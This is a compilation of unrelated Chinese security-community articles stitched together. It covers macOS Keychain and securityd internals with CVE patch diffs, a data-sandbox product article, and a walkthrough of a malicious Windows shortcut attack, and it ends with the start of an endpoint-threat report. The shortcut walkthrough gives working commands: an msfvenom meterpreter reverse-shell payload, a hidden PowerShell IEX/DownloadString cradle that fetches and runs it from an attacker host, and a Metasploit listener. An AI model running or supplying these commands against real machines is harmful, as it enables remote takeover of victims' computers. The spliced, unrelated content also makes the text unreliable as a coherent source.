iOS 与 macOS 系统中的 Keychain 略微有些差异，iOS 中只有一个 Keychain，设备解锁状态时 Keychain
可以访问，设备锁定状态时 Keychain 也处于锁定状态。macOS 则不同，macOS 系统允许用户自己创建任意的 Keychain
用于私有使用，Security Framework 提供了 SecKeychain{Create, Delete, Open，…} API 用于 macOS
用户管理 Keychain。
默认状态下，macOS 系统中存在两个 Keychain:
* ~/Library/Keychains/login.keychain-db
* /Library/Keychains/System.keychain
其中 login Keychain 在 macOS 解锁状态时就会被解密，`System.keychain`密钥保存在
`/var/db/SystemKey`，只有 root 用户可以访问。
具体目前系统中保存的 Keychain 以及存储的信息列表可以通过 macOS 的 Keychain Access.app 应用访问并查看。
### 如何用 Keychain 存储一个网站密码
Apple 官网文档如下示例代码可以实现向 Kaychain 中存储一个网站的密码。
static let server = "www.example.com"
let account = credentials.username
let password = credentials.password.data(using: String.Encoding.utf8)!
var query: [String: Any] = [kSecClass as String: kSecClassInternetPassword, kSecAttrAccount as String: account, kSecAttrServer as String: server, kSecValueData as String: password]
let status = SecItemAdd(query as CFDictionary, nil)
其中核心的就是 SecItemAdd 这个 API，接下来我们将一步步分析这个 API 是如何实现的。
抽象的看，保存在 query 变量中的数据通过 SecItemAdd API 传递给 Keychain Service，服务进一步会将 query
数据封装为 Keychain Item，对于其中的 password 则会被加密，Keychain Item 进一步会被保存到磁盘的 Keychain
Database。
如果从组件的角度看，SecItemAdd API 由 Security 共享库（Security Framework 的一部分，此处为了与 Security
Framework
作区分所以叫共享库，`/System/Library/Frameworks/Security.framework/Versions/A/Security`）实现，Security
共享库会被加载进当前 App 进程，SecItemAdd API 收到数据后，进一步通过 SECURITYD_XPC 宏，将 API 调用转发至
`com.apple.securityd.xpc XPC`服务，该服务位于 secd 进程，secd 以当前用户身份运行。
进入 secd 进程之后，会根据 operation 进入到服务消息分发
handler（securityd_xpc_dictionary_handler）（代码已被精简）,对于 SecItemAdd，operation 为
sec_item_add_id，保存新增数据的 query 会被直接传递给 `_SecItemAdd`， 除了 query 还有重要的数据结构
SecurityClient 结构体，SecurityClient 用于在后续的数据处理流程中支持访问控制检查，其中的 accessGroups 用于实现在
Web（Safari）和同一个团队开发的 App 之间共享密码，核心就是 Web 与 App 通过 Associated Domains
Entitlement 关联，感兴趣可以参考 [Supporting Associated Domains in Your
App](http://developer.apple.com/documentation/safariservices/supporting_associated_domains_in_your_app?language=objc
"Supporting Associated Domains in Your App")
static void securityd_xpc_dictionary_handler(const xpc_connection_t connection, xpc_object_t event)
SecurityClient client = {
.task = NULL,
.accessGroups = NULL,
.musr = NULL,
.uid = xpc_connection_get_euid(connection),
.allowSystemKeychain = false,
.allowSyncBubbleKeychain = false,
.isNetworkExtension = false,
.canAccessNetworkExtensionAccessGroups = false,
};
fill_security_client(&client, xpc_connection_get_euid(connection), auditToken));
switch (operation)
{
case sec_item_add_id:
{
_SecItemAdd(query, &client, &result, &error) && result); break;
}
// ...
}
`_SecItemAdd`内部就会将 query 数据转化为 Sqlite 的数据库增、删、改、查操作，最终实现对我们传递 query 的 item
插入操作。插入 `sqlite3` 的数据，password 会被加密。同时为了支持搜索，其他一些非私密数据会保持明文，这样可以支持对 `keychain`
数据库条目的搜索。至此 SecItemAdd API 新增网站密码的流程就结束了。
static CFStringRef SecDbItemCopyInsertSQL(SecDbItemRef item, bool(^use_attr)(const SecDbAttr *attr)) {
CFMutableStringRef sql = CFStringCreateMutable(CFGetAllocator(item), 0); CFStringAppend(sql, CFSTR("INSERT INTO ")); CFStringAppend(sql, item->class->name);
CFStringAppend(sql, CFSTR("("));
bool needComma = false;
CFIndex used_attr = 0;
SecDbForEachAttr(item->class, attr) {
if (use_attr(attr)) {
++used_attr;
SecDbAppendElement(sql, attr->name, &needComma);
}
}
CFStringAppend(sql, CFSTR(")VALUES(?"));
while (used_attr-- > 1) {
CFStringAppend(sql, CFSTR(",?"));
}
CFStringAppend(sql, CFSTR(")"));
return sql;
}
Safari 保存的这部分网站密码会被保存到 login keychain 数据库中，login keychain 等用户注销或者关机等操作时会被加密锁定。
## SecurityServer 与 SecurityAgent
系统的 login Keychain 在系统处于解锁状态时就会自动解锁，所以上面保存网站密码时并没有涉及 keychain 的解密或解锁过程。
然而对于 System Keychain 或者时自己创建的 Keychain，这就涉及到 Keychain 数据库的加解锁、加解密处理，此时就需要
Security Server 的参与。
`Security Server(/usr/sbin/securityd)` 是一个 root 身份独立运行的 daemon
服务进程，如最上面的整体架构图所示，CDSA 架构中，Security Server 为 CDSA 架构提供了 `CSP/DL
Plugin`，即负责数据的安全加密与存储。
Security Server 通过 ucsp MIG 接口提供服务，用于 client 访问 SecurityServer
内部对象。普通用户进程就可以访问此 MIG 接口。从源码中看这个服务提供了以下功能：
* 管理请求 Security Server 的 clients（session、connection）
* 认证(Authentication)和授权(Authrization)的管理
* Keychain 数据库的管理，包括锁定、解锁、数据加密、数据库的创建与修改
* 数据签名（Signature）的生成和验证
* 数据的加密和解密（ucsp_server_encrypt， ucsp_server_decrypt)
* Key、key pair 的生成（ucsp_server_generateKey， ucsp_server_generateKeyPair、ucsp_server_wrapKey， ucsp_server_unwrapKey）
* Code Signing Hosting(近几天公开的 10.15 版本源码中已经删除相关接口，暂未深入确认)
可以看出 root 身份运行的 Security Server(securityd)
提供了很多高权限的敏感操作，同时也管理着大量敏感数据，因此如果可以发现这个服务进程的漏洞，那么影响也将非常大，KeySteal
就是利用该服务的漏洞实现无需密码验证访问 Keychain 保存的密码。
那么如何通过 MIG 接口与他交互呢？
在 Security 的源码中就包含了这个 ucsp MIG 接口的定义文件(OSX/libsecurityd/mig/ucsp.defs)。但很可惜，介绍
MIG 使用的文档很少，直接访问 Security Server 的文档更是没有。最终，我从 Linus Henze 写的 [KeySteal
Exploit](https://github.com/LinusHenze/Keysteal) 代码中精简了一个访问 ucsp_server_setup
接口的 Client。
通过 mig 命令行工具生成 ucspUser.c 以及 ucspServer.c
接口定义源码，解决完编译依赖的头文件定义之后，就可以通过如下的示例测试代码访问 ucsp_server_setup 接口。
#define UCSP_ARGS gServerPort, gReplyPort, &securitydCreds, &rcode
#define ATTRDATA(attr) (void *)(attr), (attr) ? strlen((attr)) : 0
#define CALL(func) \
security_token_t securitydCreds; \
CSSM_RETURN rcode; \
if (KERN_SUCCESS != func) \
return errSecCSInternalError; \
if (securitydCreds.val[0] != 0) \
return CSSM_ERRCODE_VERIFICATION_FAILURE; \
return rcode#
define SSPROTOVERSION 20000
mach_port_t gServerPort;
mach_port_t gReplyPort;
CSSM_RETURN securityd_setup() {
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &gReplyPort);
mach_port_insert_right(mach_task_self(), gReplyPort, gReplyPort, MACH_MSG_TYPE_MAKE_SEND);
bootstrap_look_up(bootstrap_port, (char*)"com.apple.SecurityServer", &gServerPort);
ClientSetupInfo info = { 0x1234, SSPROTOVERSION };
CALL(ucsp_client_setup(UCSP_ARGS, mach_task_self(), info, "?:unspecified"));
}
int main(int argc, char *argv[])
{
mach_port_t port;
mach_port_t bootstrap_port;
task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
kern_return_t kr = bootstrap_look_up(bootstrap_port,"com.apple.SecurityServer", &port);
securityd_setup();
return 0;
}
### SecurityAgent
上面的介绍中提到，Security Server 还负责认证(Authentication)和授权(Authroization)。
当 Client 请求 Security Server
发起认证(Authentication)和授权(Authroization)验证时。如果需要与用户交互（输入密码）以验证身份，Security Server
就会通过 XPC 与 Security Agent（当前用户身份运行）通信，由 Security Agent 负责弹框与用户交互。用户输入的密码凭据信息由
Security Server 接收并管理，Client 只会收到验证或授权结果的消息。这个保证整个验证过程中 Client
不会接触密码等敏感信息，同时，这种机制也可以保证如果系统增加新的身份验证或鉴权扩展时，对 client 是透明的。
## 10.14 版本至今的历史漏洞分析
了解完了上面的一些必要的系统架构内容外，我们来继续看看 macOS 10.14 版本至今的涉及 Security
框架的漏洞，方便读者朋友了解漏洞的原理以及漏洞所在的组件。
需要说明的是，因为 Apple
官方在每次漏洞修复后并不会提供漏洞的详细信息，所以以下这些都是我根据源码自己分析整理的，这也意味着整理的结果可能不一定正确，如果您发现有错误或疏漏，请不吝指出。
### CVE-2019-8604（10.14.5 版本修复）
通过对比两个版本之间的源码，发现 CVE-2019-8604 漏洞的补丁。
这个漏洞在 securityd(Security Server Daemon) 中，securityd 提供的 MIG 接口在处理 client 端传递的
dbname 时，只有 assert 检查，而 assert 在 Release 版本是不存在的，因此，client 传递一个超长的字符串（长度超过
PATH_MAX)，ucsp_server_getDbName 接口就会触发 memcpy 内存越界拷贝。
--- a/Security-58286.251.4/securityd/src/transition.cpp
+++ b/Security-58286.260.20/securityd/src/transition.cpp
+static void checkPathLength(char const *str) {
+ if (strlen(str) >= PATH_MAX) {
+ secerror("SecServer: path too long");
+ CssmError::throwMe(CSSMERR_CSSM_MEMORY_ERROR);
+ }
+}
+
@@ -306,15 +313,16 @@ kern_return_t ucsp_server_getDbName(UCSP_ARGS, DbHandle db, char name[PATH_MAX])
{
BEGIN_IPC(getDbName)
string result = Server::database(db)->dbName();
- assert(result.length() < PATH_MAX);
+ checkPathLength(result.c_str());
memcpy(name, result.c_str(), result.length() + 1);
END_IPC(DL)
}
kern_return_t ucsp_server_setDbName(UCSP_ARGS, DbHandle db, const char *name)
{
BEGIN_IPC(setDbName)
+ checkPathLength(name);
Server::database(db)->dbName(name);
END_IPC(DL)
}
补丁中，在 `ucsp_server_{get, set}DbName`中新增对路径名字的检查（checkPathLength），防止超长的 dbName
溢出固定长度（PATH_MAX）的 name。
因为`std::string` 与 `strlen`都会被且仅能被 `“\0”`截断，所以 `setDbName` 与 `getDbName`
的处理方式就一致了。
### CVE-2019-8520 （10.14.4 版本修复）
通过对比两个版本之间的源码，发现了 CVE-2019-8520 漏洞的补丁。
该漏洞位于 `Security Server Daemon(securityd)` 中，`securityd（root）` 负责处理系统中的管理系统中的
Authroization 和 Authentication，认证或者授权过程中，如果需要与用户交互（输入密码）以验证身份，securityd 就会通过
XPC 与 Security Agent（当前用户身份运行）通信，由 Security Agent 负责弹框与用户交互。
这个漏洞就出现在 securityd 与 Security Agent 的交互过程，securityd 在接收来自 Security Agent
的数据时，通过 XPC 传入 data，data 的长度为 length，另外通过另一个字段传入 sensitivelength，拷贝的时候，从 data
的起始位置拷贝长度为 sensitivelength 的内容到新创建的 dataCopy，因此，如果传入一个超长的
sensitivelength，超过上面传入的 data 的实际长度，将导致 data 的越界拷贝，会越界读取 data 变量之后的内存。
--- a/Security-58286.240.4/securityd/src/agentquery.cpp
+++ b/Security-58286.251.4/securityd/src/agentquery.cpp
static void xpcArrayToAuthItemSet(AuthItemSet *setToBuild, xpc_object_t input) {
setToBuild->clear();
xpc_array_apply(input, ^bool(size_t index, xpc_object_t item) {
const char *name = xpc_dictionary_get_string(item, AUTH_XPC_ITEM_NAME);
size_t length;
const void *data = xpc_dictionary_get_data(item, AUTH_XPC_ITEM_VALUE, &length);
void *dataCopy = 0;
// <rdar://problem/13033889> authd is holding on to multiple copies of my password in the clear
bool sensitive = xpc_dictionary_get_value(item, AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH);
if (sensitive) {
size_t sensitiveLength = (size_t)xpc_dictionary_get_uint64(item, AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH);+
if (sensitiveLength > length) {+
secnotice("SecurityAgentXPCQuery", "Sensitive data len %zu is not valid", sensitiveLength);+
return true;+
}
dataCopy = malloc(sensitiveLength);
memcpy(dataCopy, data, sensitiveLength);
memset_s((void *)data, length, 0, sensitiveLength); // clear the sensitive data, memset_s is never optimized away
length = sensitiveLength;
} else {
dataCopy = malloc(length);
memcpy(dataCopy, data, length);
}
uint64_t flags = xpc_dictionary_get_uint64(item, AUTH_XPC_ITEM_FLAGS);
AuthItemRef nextItem(name, AuthValueOverlay((uint32_t)length, dataCopy), (uint32_t)flags);
setToBuild->insert(nextItem);
memset(dataCopy, 0, length); // The authorization items contain things like passwords, so wiping clean is important.
free(dataCopy);
return true;
});
}
漏洞的修复逻辑就是加了一个对 sensitiveLength 的长度检查，保证 memcpy 的长度不超过 data。
### CVE-2019-8526（10.14.4 版本修复）
通过比对代码，发现了补丁。
--- a/Security-58286.240.4/securityd/src/child.cpp
+++ b/Security-58286.251.4/securityd/src/child.cpp
@@ -57,7 +57,7 @@ ServerChild::ServerChild()
//
ServerChild::~ServerChild()
{
- mServicePort.destroy();
+ mServicePort.deallocate();
--- a/Security-58286.240.4/securityd/src/clientid.cpp
+++ b/Security-58286.251.4/securityd/src/clientid.cpp
@@ -45,14 +45,18 @@ ClientIdentification::ClientIdentification()
// Initialize the ClientIdentification.
// This creates a process-level code object for the client.
//
-void ClientIdentification::setup(pid_t pid)
+void ClientIdentification::setup(Security::CommonCriteria::AuditToken const &audit)
{
StLock<Mutex> _(mLock);
StLock<Mutex> __(mValidityCheckLock);
- OSStatus rc = SecCodeCreateWithPID(pid, kSecCSDefaultFlags, &mClientProcess.aref());
- if (rc)
- secinfo("clientid", "could not get code for process %d: OSStatus=%d",
- pid, int32_t(rc));
+
+ audit_token_t const token = audit.auditToken();
+ OSStatus rc = SecCodeCreateWithAuditToken(&token, kSecCSDefaultFlags, &mClientProcess.aref());
+
+ if (rc) {+ secerror("could not get code for process %d: OSStatus=%d",+ audit.pid(), int32_t(rc));
+ }
mGuests.erase(mGuests.begin(), mGuests.end());
}
--- a/Security-58286.240.4/securityd/src/csproxy.cpp
+++ b/Security-58286.251.4/securityd/src/csproxy.cpp
@@ -64,13 +64,12 @@ void CodeSigningHost::reset()
case noHosting:
break; // nothing to do
case dynamicHosting:- mHostingPort.destroy();-
mHostingPort = MACH_PORT_NULL;
+ mHostingPort.deallocate();
secnotice("SecServer", "%d host unregister", mHostingPort.port()); break;
case proxyHosting:
Server::active().remove(*this); // unhook service handler
- mHostingPort.destroy(); // destroy receive right
+ mHostingPort.modRefs(MACH_PORT_RIGHT_RECEIVE, -1); mHostingState = noHosting;
mHostingPort = MACH_PORT_NULL;
mGuests.erase(mGuests.begin(), mGuests.end());
--- a/Security-58286.240.4/securityd/src/process.cpp
+++ b/Security-58286.251.4/securityd/src/process.cpp
@@ -40,7 +40,7 @@
// Construct a Process object.
//
Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCriteria::AuditToken &audit)
- : mTaskPort(taskPort), mByteFlipped(false), mPid(audit.pid()), mUid(audit.euid()), mGid(audit.egid())
+ : mTaskPort(taskPort), mByteFlipped(false), mPid(audit.pid()), mUid(audit.euid()), mGid(audit.egid()), mAudit(audit)
{
StLock<Mutex> _(*this);
@@ -48,6 +48,11 @@ Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCri =parent(Session::find(audit.sessionId(), true));
// let's take a look at our wannabe client...
+
+ // Not enough to make sure we will get the right process, as
+ // pids get recycled. But we will later create the actual SecCode using
+ // the audit token, which is unique to the one instance of the process,
+ // so this just catches a pid mismatch early.
if (mTaskPort.pid() != mPid) {
secnotice("SecServer", "Task/pid setup mismatch pid=%d task=%d(%d)",
mPid, mTaskPort.port(), mTaskPort.pid());
@@ -55,7 +60,14 @@ Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCri
}
setup(info);
- ClientIdentification::setup(this->pid());
+ ClientIdentification::setup(this->audit_token());
这个漏洞正是之前读过 Paper 的 KeySteal 漏洞，补丁代码位于 securityd(Security Server Daemon)
，securityd 在通过 MIG 实现 Hosting Guest Code 机制时存在问题。
从补丁中可以看出漏洞存在的两个问题：
第一个是实现 Hosting Guest Code 机制，securityd 在创建 SecCode 时，错误地使用
SecCodeCreateWithPID 这个 API，这个 API 根据 pid 标识 Client Process，因此如补丁中的注释代码所说，存在
PID Reuse 的问题。
修复的方式是 SecCodeCreateWithPID 换做 SecCodeCreateWithAuditToken 用 audit token 表示
client。关于 PID 方式有何问题，可以参考之前 Samuel Gro? 的[Don’t Trust the
PID!](http://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf)
第二个是 Mach Port 的引用计数问题，`CodeSigningHost::reset()`调用 destory() 导致强制释放 Mach
Port，被 destory 的 Mach Port 可能仍然被某些数据结构引用，同时因为用户态进程的 Mach Port 本身是 mach port
name，其实就是个 number，既然是 number 就存在被 reuse 的可能。所以，在下次使用之前如果可以导致重新被占用，就可以实现
UAF。补丁修复也很容易，就是 destory 改为引用计数版本的 deallocate()。
### CVE-2018-4400（10.14.1 版本修复）
这个漏洞 Apple 公告中的描述是处理 S/MIME 消息时拒绝服务，对比代码，得到的了疑似补丁，不敢完全确定
--- a/Security-58286.200.222/OSX/libsecurity_smime/lib/smimeutil.c
+++ b/Security-58286.220.15/OSX/libsecurity_smime/lib/smimeutil.c
@@ -733,6 +733,8 @@ SecSMIMEGetCertFromEncryptionKeyPreference(SecKeychainRef keychainOrArray, CSSM_
cert = CERT_FindCertByIssuerAndSN(keychainOrArray, rawCerts, NULL, tmppoolp, ekp.id.issuerAndSN);
break;
case NSSSMIMEEncryptionKeyPref_RKeyID:
+ cert = CERT_FindCertBySubjectKeyID(keychainOrArray, rawCerts, NULL, &ekp.id.recipientKeyID->subjectKeyIdentifier);
+ break;
case NSSSMIMEEncryptionKeyPref_SubjectKeyID:
cert = CERT_FindCertBySubjectKeyID(keychainOrArray, rawCerts, NULL, ekp.id.subjectKeyID);
break;
对证书管理及相关的数据结构暂时还不太熟悉，暂时不进一步分析了
上面这些是目前我找到的比较确定的一些漏洞及其补丁，因为 Apple 开源代码非常滞后，所以上面这些主要是 10.14.版本中涉及 `Security
Framework`的漏洞的分析。
## 总结
以上就是我这段时间研究 Security Framework 并做的分享。因为 Security Framework 比较庞大，我只重点介绍了
Keychain 以及历史上被发现漏洞比较多的 Security Server 组件。其他像 Auth
组件来得及分析，等后续对这些组件有了新的研究，我将继续分享。
如果发现上面的内容有错误，或者您也对 macOS 感兴趣，欢迎联系我 [@yuebinsun](http://twitter.com/yuebinsun
"@yuebinsun")。
## References
1. <https://developer.apple.com/documentation/security?language=objc>
2. <https://opensource.apple.com/>
3. <https://www.pinauten.de/resources/KeySteal_OBTS_2019.pdf>
4. <https://en.wikipedia.org/wiki/Keychain_(software)>
5. <https://rekken.github.io/about>
* * * | 社区文章 |
# Jeddak数据安全沙箱：一个联合建模的火山引擎解法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 数据要素化步入规范
数据已经成为了各个机构的核心资产，作为向数字化、智能化转型的基础，已经深刻地影响着生产、分配、流通、消费、管理等每个环节。2022年底《中共中央国务院关于构建数据基础制度更好发挥数据要素作用的意见》（“数据二十条”）正式对外发布，这标志着有序规范地发展数据经济，从一开始的特定行业、地方政府的政策意见，发展为国家层面的全方位的政策格局。
“数据二十条”以促进数据合规高效流通使用、赋能实体经济为一条主线核心，以达到数据要素价值充分实现、促进全体人员共享数字经济发展红利为目标。但与此同时，“数据二十条”也强调了必须以维护国家数据安全、保护个人信息、保护商业机密作为数据流通使用的三大前提，这标志着关注数据“可用不可见”的可信隐私计算技术有望成为核心解决方案和基础设施。
## 数据建模赋能业务陷入困局
“数据二十条”中强调的三大保护数据隐私的前提一直以来都是数据流通需要面对的巨大挑战：如何充分地发挥价值的同时能够保护好数据隐私安全。联合建模作为数据流通的一个典型场景同样面临着这样的困境。下面给出四个典型的联合建模困局。
**同类数据不易聚合，数据价值难以最大化**
。各大医院经过多年对病人的接诊，往往积累了大量的医疗数据（例如心血管疾病的医疗影像），通过汇聚这些数据，可以在训练用于辅助诊疗的医疗模型上提供极大的助力。然而医疗数据涉及到病人的关键隐私，医院对于此类数据的共享交互有着极大的顾虑。
**数据源间彼此隔离，相关数据无法互补**
。在广告营销领域，广告主对于其用户往往会进行一定的标记，以便更容易地筛选客群。这类信息对于广告平台补充他们广告受众特征、优化广告投放模型来说有着重要的意义。然而随着数据隐私相关法规的逐步收紧，同时公众对于数据隐私保护的意识逐渐增强，这些数据的流通会受到更多的挑战。
**海量数据流通搁浅，无法充分发挥价值**
。政务类数据往往具备着海量规模与高价值的属性，例如气象、交通等数据。这类数据极难公开获取，但对于相关领域、行业、研究机构有着极大的实用意义。然而，直接将此类数据公开给外部使用，存在着数据滥用的风险，甚至导致公民隐私甚至国家机密的泄漏。
**算法能力受限，发挥数据价值力不从心**
。通过数据建模，提取价值后为业务赋能，已经成为行业上的基本共识。但是部分企业（如一些传统行业、小微企业）受限于建模能力的不足，无法充分出发挥自身数据的价值，就会求助于第三方的成熟能力。但在这个过程中双方都存在着顾虑：一方面数据方担心数据信息的泄漏，另一方面算法方也会顾及于算法知识产权的保护，由于缺乏实用的监督与控制手段，因此导致此类合作存在很大的风险。
## Jeddak数据安全沙箱 —— 破局数据流通之困
为了应对上述挑战，由火山引擎安全研究团队推出的Jeddak数据安全沙箱（下文简称沙箱），以可信执行环境（Trusted Execution
Environment，TEE）为核心， **针对联合建模为火山引擎用户提供可调试、敏捷、高效的解决方案**
。现在沙箱已经服务于内外部多个业务的建模、预测场景，为各方数据的全生命周期隐私安全提供保障。
沙箱在设计之初就着重关注于提高建模的易用性，因此沙箱内置了一系列的常用机器学习算法帮助用户做标准化的建模，如逻辑回归、XGBoost、通用神经网络模型等。沙箱用户对算法的超参数完成配置后，可对上传到沙箱中的数据直接进行建模，为此沙箱通过图形化界面向用户提供了一系列的可调超参数，帮助用户便捷地进行调参。沙箱内置了一系列的量化指标，能实时反馈训练的效果，为用户优化模型提供依据。此外，沙箱支持定制化建模功能，在该模式下沙箱支持用户自行开发模型训练脚本，提供接近于原生的建模体验，用户可以根据实际业务需求完成自定义模型训练脚本，例如训练基于TensorFlow/PyTorch的深度神经网络模型。
沙箱也提供了在线和离线模型推理服务来保障模型和数据安全。由于模型包含着训练数据的特征，同时也体现着算法提供方的知识产权，为此沙箱支持在TEE内对模型使用方的输入数据进行推理。依托于成熟的模型推理框架、集群化的部署，沙箱在安全与性能之间取得最佳平衡，为模型的全生命周期进行保驾护航。
基于上述的能力，沙箱能够灵活地服务于各种建模需求，为数据融合建模、数据外包计算和数据开放服务场景提供支持：
* · 数据融合建模：联合建模参与方彼此保有一定量的数据，但是由于缺乏一定的特征、标签，或数据规模不足等原因，需要对数据完成融合之后才能进行训练；
* · 数据外包计算：依托于可信第三方，将来自一方或者多方的数据、算法在其内部完成安全融合计算，解决参与方建模要素的缺失或者计算资源不足的问题；
* · 数据开放服务：是一种特定场景下的数据外包计算，数据方使用可信平台进行数据托管，算法方在此平台服务下，可以基于自己的训练脚本或者平台内置的算法组件实现灵活、可控的建模需求。
## 数据融合建模
在目前的联合建模场景中，较常见的需求是由于参与的一方的训练数据缺乏关键特征、标签或者数据规模不足，需要参与方之间通过共享数据的方式完成联合模型的训练。进一步地，根据参与方的训练数据的特征分布差异可以大致划分为横向与纵向两类。
横向联合建模针对的是一类较为简单的场景，各个参与方的数据具有相同的特征分布，但是每个参与方所拥有的数据来自于不同的样本个体（样本ID不同）。典型的案例如：某个业务与其合作伙伴本地都具有构造了类似的数据集以训练业务模型，通过训练好的模型来赋能业务，但是由于单方数据规模过小的原因，无法达到预期效果。横向联合建模的主要目的是通过扩展数据样本的数据量，来增加训练模型的精度。
在横向联合建模场景中，沙箱首要的责任是完成对所有参与方数据的汇聚。训练伊始，参与方通过沙箱的客户端将数据上传到沙箱内，而沙箱则为该过程构建了安全的加密信道，保证数据安全可靠地被传输至沙箱内。沙箱在完成对所有参与方数据的汇聚后，会将密态的数据加载到可信内存中，并对数据进行预处理，如各方数据的拼接、特征工程（如归一化、标准化等）。随后沙箱会基于完成处理后的数据对模型进行迭代训练，并实时反馈训练效果给客户端。在完成训练后，沙箱也严格遵循数据最小化使用原则，立即删除汇聚的数据。
**纵向联合建模**
适用于参与方的特征空间不同，但是数据基本来自相同的样本个体（样本ID相同）的场景，这类场景在广告营销、金融分析等领域比较常见。以广告营销为例，广告平台的用户群体通常与广告主的用户有着较高的重合度；但是由于所关注领域的不同，双方收集的特征会存在差异。纵向联合建模则通过融合多方的数据特征，继而提升训练模型的效果。同样以广告营销为例，通过融合广告主与广告平台的数据特征，可以为广告投放模型带来更优的效果，提高广告转化效率。
沙箱同样为纵向联合建模过程中各参与方的数据隐私提供保障。对于纵向联合建模，其关键步骤是对齐所有参与方的样本，即找出所有参与方中ID相同的样本。为此，沙箱基于TEE提供了隐私求交能力（Private
Set
Intersection，PSI）帮助参与方安全快速地完成样本对齐。在建模阶段，沙箱的工作流程与横向联合建模的流程基本一致，包括对数据的预处理，以及根据定义的模型完成迭代。
## 数据外包计算
数据外包计算主要针对的场景是如何在数据方缺乏建模能力，算法方缺乏数据，或者建模的参与方缺乏计算资源的情况下，安全充分地发掘己方资产(数据、算法）的价值。由于没有数据获取来源、缺乏建模技术积累等原因，很难使得一方可以同时拥有数据和算法；或者由于成本等因素考虑，联合建模参与方不具备训练大型模型的计算资源。这时需要引入可信第三方来辅助完成建模任务。在这个场景中，数据方会因为数据隐私问题存在数据出域的担忧；同时，对于算法方也可能会出于知识产权保护的顾虑拒绝提供给可信第三方。
沙箱是基于可信执行环境进行的设计，其内部的数据与代码都会经过硬件方式进行保护，无法被外部窃取。针对上述的数据外包计算场景，算法方的算法和数据方的数据可以外包给沙箱，通过沙箱完成数据的与算法的汇聚。
对于数据方的顾虑，沙箱会通过安全的信道接受数据方的数据，保证明文数据仅对沙箱可见；沙箱会将内部的算法分为非敏感的结构部分与敏感的配置部分，而沙箱会对非敏感的结构部分进行一致性校验，并向数据方提供一致性报告，以便其验证算法与算法方所声明的一致。而针对算法方的顾虑，沙箱首先保证其算法仅会在运行时以明文状态加载，其余时刻都以密态形式保存在本地；同时，在一致性校验时，沙箱仅会向数据方提供经过脱敏的算法结构部分，不会泄漏涉及算法知识产权的配置部分的信息。
在本方案中，沙箱作为唯一的汇聚节点聚集了算法、数据，而双方的内容都对对方是不可见，保障了数据的隐私安全与算法的知识产权。
## 数据开放服务
对于一些大型的数据服务商，其拥有着海量的数据，由于此类数据多属于特定领域的内部数据，因此这些数据对于外部的各类公司、研究机构有着重要的意义，这些外部客户（又称为算法方）希望能够基于这些数据发掘出更大的价值。尽管数据服务商也希望通过数据的流通，为外部的客户提供助力，但是出于对于数据隐私的担忧，或者缺乏安全的共享手段等原因，数据服务商往往对于数据出域持有保守的态度。
上述场景可以通过沙箱的联合建模能力结合数据开放能力来得到解决。基于沙箱对于联合建模的要素划分，数据服务商是数据方，而其外部客户则是算法方。数据方可以将沙箱作为己方的基础设施，对接内部的数据，通过沙箱完成数据的管理与授权。对于算法方，沙箱提供了模块化的算法组件，可以支持算法方定制化地构造建模算法；同时通过这些模块，沙箱可以对数据的流向进行有效地监控，避免了算法方对数据执行恶意的操作。进一步地，数据方可以对数据做额外的标记，沙箱会根据用户的标记在数据的流转过程中进行脱敏、聚合等操作，这样也为数据方提供了监控与管理数据流的能力。沙箱为双方提供了可控的建模能力，既保护了数据方的数据隐私，同时也实现了数据的价值体现。
此外，沙箱还为算法方提供调试能力，帮助算法方调试算法的逻辑。为保证调试效果的准确性，沙箱会在数据方授权的前提下通过基于数据方的数据生成测试数据，帮助算法方进行更加准确的调试。
## 合作与共赢
目前从国家层面已经确立起了规范地发挥数据价值的大方向，这给关注数据“可用不可见”的可信隐私计算技术提供了前所未有的机遇。
Jeddak数据安全沙箱团队顺应政策方向，不断锤炼自身对于可信隐私计算技术的理解，以求为用户提供高安全、高效率、高质量的服务体验。团队2022年首次参加iDASH国际大赛，荣获机密计算赛道第2名，体现出团队在模型训练和算法相关技术积累达到了先进水平。
“路漫漫其修远兮”，如何提供更加高效、易用的可信隐私计算解决方案，将永远是Jeddak数据安全沙箱关注的命题。目前，Jeddak数据安全沙箱已经作为Jeddak可信隐私计算平台的一个重要功能板块加入到火山引擎云安全系列产品矩阵中，未来也将继续朝着开源、通用、自主可控的方向发展，深入行业实际应用场景，努力为用户带来丰富和便捷的安全计算功能。 | 社区文章 |
**利用原理** ：
创建恶意快捷方式，包含恶意执行脚本，点击恶意快捷方式，导致本机中病毒。
**环境搭建** ：
攻击机：kali ip：10.0.0.140
目标靶机：win2008r2x64 ip:192.168.99.104
1.kali下生成一个反弹的 ps1的shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1
2.切换到opt目录，然后查看到已生成了search.ps1 的powershell 后门
cd /opt
ls
3.将生成的search.ps1拷贝到/var/www/html目录下
mv search.ps1 /var/www/html
ls
4.启动apache服务
service apache2 start
5.访问web下的search.ps1，可以直接访问：
6.在靶机上创建一个powershell远程快捷：
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"
7.名称为:powershell.exe
8.kali下创建监听反弹，并且可以看到成功反弹出靶机的shell:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 10.0.0.140
set lport 5555
exploit | 社区文章 |
# 3月政企终端安全态势分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 报告说明
终端是政企内部网络不可或缺的组成部分，其安全状况与组织内每个成员息息相关。在很多情况下，终端也是内部网络和外部网络的连接点，是外部恶意程序进入内部网络常见的入口节点。终端一旦失守，整个办公或生产网络就有可能沦陷，给政企单位带来巨额损失。
《政企终端安全态势分析报告》是“360终端安全实验室”定期发布的针对政企网络终端的安全态势分析报告。报告数据来自 360
企业安全公有云安全监测数据。报告以勒索病毒、漏洞利用病毒、蠕虫病毒为主要研究对象，以每日感染病毒的终端为基本单位，通过对政企终端感染病毒情况的分析，帮助客户更清晰地看见风险态势，为安全决策提供更有力的参考依据。
